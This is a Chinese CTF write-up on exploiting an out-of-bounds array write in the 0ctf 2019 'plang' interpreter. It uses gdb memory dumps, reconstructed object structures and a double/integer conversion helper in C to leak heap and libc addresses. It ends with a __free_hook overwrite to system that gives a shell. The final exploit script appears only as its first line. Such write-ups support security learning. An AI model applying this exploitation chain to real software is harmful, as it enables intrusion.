0ctf2019-plang题解
这是一道关于js解释引擎的一道题,以前没做过类似的题,赛后在Ne0师傅写的writeup基础上自己调了一遍,记录一下调试的过程。相关的文件可以点击这里下载
基本信息
将poc中的内容输入给程序,发现程序崩溃,报段错误:
新建/var/crash目录,执行下列命令:1
2
3$ vim /etc/sysctl.conf
kernel.core_pattern=/var/crash/%E.%p.%t.%s
$ sysctl -p
将poc作为程序的输入,程序会在/var/crash
处产生崩溃文件。使用gdb plang crashfile
即可查看崩溃时的内存信息
1 | ► 0x5555555644a6 mov qword ptr [rcx], rax |
可以看到程序在0x5555555644a6
执行时出现了错误,将rax的值赋值到rcx指向的内存处,但这是一块不合法的内存,所以导致崩溃。
0x5555555644a6-0x555555554000=0x104a6
,可以知道存在漏洞的地方在0x104a6处,可以在IDA中定位。
1 | signed __int64 __fastcall vul_handler(__int64 a1, __int64 a2) |
通过分析,这里存在着越界写数据的漏洞,可以往低地址溢出,但不可以往高地址溢出。
在把一个字符串赋值给数组时,调用的函数仍然为存在漏洞的函数,之所以失败是因为把数组下标设置为-1
过不了程序中对下标的检查,设置成-2、-3……
即可
变量b
对应的地址为0x5555557855e0
,字符串a
所在的地址为0x55555577efa0
,所以设置下标为(0x5555557855e0-0x55555577efa0+0x20)/0x10=-0x662
分析存储的结构体
这里原writeup给出了分析出来的结构体,主要是如下三个:
每一个plang的值都采用下列的结构体来存储1
2
3
4
5
6
7struct PlangObj{
long type; // if the obj is a pure double, type is 4, otherwise 5
union{
double value; //如果type为4,则该处已double类型存储数据
obj_ptr* obj; //如果type为5,该处存储的是一个指向对象的指针
};
};
数组结构体如下:1
2
3
4
5
6
7
8
9
10struct ArrayObj{
int type;
int padding;
void* some_ptr;
void* some_ptr2;
// 指向对象数组的指针
PlangObj* buffer_ptr;
int size; // the buffer_ptr and size are what we care
int padding2;
};
字符串结构体如下:1
2
3
4
5
6
7
8
9
10struct StringObj{
int type;
int padding;
void* some_ptr;
void* some_ptr2;
int some_val;
int size;
// 字符串的内容存储在这里
char[] contents;
};
结构体验证
可以对上面的结构体进行验证,使用pwngdb
插件可以方便的对内存数据进行搜索查看
数组结构体var c = [1,2,3]
在内存中的内容如下1
2
3
4
5
6
7
8
9
10
11
12
130x555555785890: 0x0000000400000003 0x0000000000000051
0x5555557858a0: 0x0000000000000004 0x3ff0000000000000
0x5555557858b0: 0x0000000000000004 0x4000000000000000
0x5555557858c0: 0x0000000000000004 0x4008000000000000
0x5555557858d0: 0x0000000000000000 0x0000000000000000
# 可以看到数据确实是按照double类型来存储的,对应数组中的1,2,3
gdb-peda$ p{double}(0x5555557858a0+8)
$5 = 1
gdb-peda$ p{double}(0x5555557858b0+8)
$6 = 2
gdb-peda$ p{double}(0x5555557858c0+8)
$7 = 3
上面的一块数据对应的是ArrayObj.buffer_ptr
,查找该地址的引用,即可找到ArrayObj
对应的内容:1
2
3
4
5
6
7
8
9
10gdb-peda$ find 0x5555557858a0
Searching for '0x5555557858a0' in: None ranges
Found 1 results, display max 1 items:
[heap] : 0x555555785888 --> 0x5555557858a0 --> 0x4
gdb-peda$ x/10xg 0x555555785888-0x18
0x555555785870: 0x0000000000000001 0x000055555577bdd0
0x555555785880: 0x0000555555785800 0x00005555557858a0
0x555555785890: 0x0000000400000003 0x0000000000000051
0x5555557858a0: 0x0000000000000004 0x3ff0000000000000
0x5555557858b0: 0x0000000000000004 0x4000000000000000
可以看到其中的数据刚好和ArrayObj
结构体相对应,int
是四字节,void *
为8字节。采用同样的方式可以对其他几种类型进行验证。
泄露堆地址部分
利用数组越界写可以把一个string
类的对象的content
部分进行赋值,如果把它的content
部分赋值为一个字符串对象会怎样?前8字节将被赋值为5,后8字节将被赋值为字符串对象的地址(也就是我们想要泄露的堆地址)。最后通过字符串的string.byteAt_()
便可实现逐字节的泄露写入的堆地址。
解决数据转换问题
在进行任意值写的时候面临着一个问题,就是如何在double和int之间相互转换,如何将一个8字节内存从长整型转换为double型?又如何从double型转换为长整型?这里采用了c语言来实现,在exp中启动该c语言实现的程序help.c
来帮助我们进行转换1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
void init(){
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
}
// 将double类型的值转换为int类型的值
int d2i(){
double a = 0;
long long int* b = &a;
puts("input:");
scanf("%lf",&a);
printf("%lx\n",*b);
return 0;
}
// 将int类型的值转换为double类型的值,使用g或e可以科学计数法的方式输出
// 其中精度可以用.后面的20来控制
int i2d(){
long long int b = 0;
double *a = &b;
char buf[64]={0};
puts("input:");
read(0,buf,60);
b = atoll(buf);
printf("%.20g\n",*a);
return 0;
}
int main(){
init();
char buf[10];
while(1){
puts("choice:");
read(0,buf,2);
if(buf[0]=='1'){
d2i();
}
else if(buf[0]=='2'){
i2d();
}
else{
break;
}
}
return 0;
}
整数和double之间的对应关系,可以用来验证我们写的helper.c
是否正确:1
2
3
4
50x00007fff006d756e-->6.9531439626732071e-310
0x00007ffff7ac8b78-->6.9533489063778457e-310
0x00007FFFF7123456-->6.9533484066378559607e-310
泄露libc地址
数据的转换问题解决之后,接着便开始泄露libc的地址了,对于数组中的字段buffer_ptr
,我们可以利用数组越界写把它修改为任意的地址(b[-0x100]=value)。前面已经得到了堆的地址,而堆中又是存在libc地址的,所以只要将buffer_ptr
修改为某个包含libc地址的堆地址处,再调用System.print(b[0])
即可将libc的地址输出出来
哪些堆地址处存在libc地址呢?使用pwngdb搜索即可
这里选取地址0x5555557741b8
作为泄露libc地址的地方1
2
3
4
5
6gdb-peda$ x/10xg 0x5555557741c3-3-8
0x5555557741b8: 0x0000000000000004 0x00007ffff7ac8b78
0x5555557741c8: 0x0000000000000021 0x657571655370614d
0x5555557741d8: 0x00007fff0065636e 0x00005555557749b0
0x5555557741e8: 0x0000000000000021 0x1101040004090008
0x5555557741f8: 0x00003d3701371500 0x0000000000000020
注意:要正确输出0x5555557741c0处的地址,需要把它前面的8个字节设置为0x4,表示是一个double类型,参考plang中值的存储结构体
设置指定内存的值可以通过下列方式:
set {long long int}(0x5555557855f0+8)=0x00007ffff7ac8b78
任意地址写
和泄露libc地址一样的方式,控制数组对象的buffer_ptr
值,将其指向我们target_addr-8
处,便可通过b[0]=value
的方式来达到任意地址写的目的,这里写入的时候有一个问题,就是会在目标地址的前8字节处写入p64(0x4)
,如果这里修改了__malloc_hook
,那么__realloc_hook
的值将会被设置为4
,这就导致再次赋值的时候会产生崩溃,因为4
不是一个合法的地址
漏洞利用
所以总的漏洞利用过程如下:
- 利用数组越界写,将字符串对象赋值到字符串对象
a
的content
处,调用string.byteAt_()
完成heap地址泄露 - 修改
ArrayObj
结构体中的buffer_ptr
指针,指向堆中存放libc地址的地址处,利用System.print(b[0])
输出libc地址,完成libc地址的泄露 - 利用同样的方式修改
buffer_ptr
,利用赋值功能可以实现任意地址写,修改__free_hook
的值为system
地址,并修改待释放的chunk的fd
字段内容为sh
,调用ArrayObj
对象的clear()
函数触发free()
函数的调用来getshell
在对数组进行赋值时需要输入的是小数形式的字符串,而python默认的精度是完全达不到要求的,这里采用了decimal库,利用该库可以输出高精度的double类型。
最终利用脚本如下,只在本地尝试(ubuntu 16.04),在不同版本下需要调整相应的参数,同时还需要编译一下用于数据转换的helper.c
1 | from pwn import * |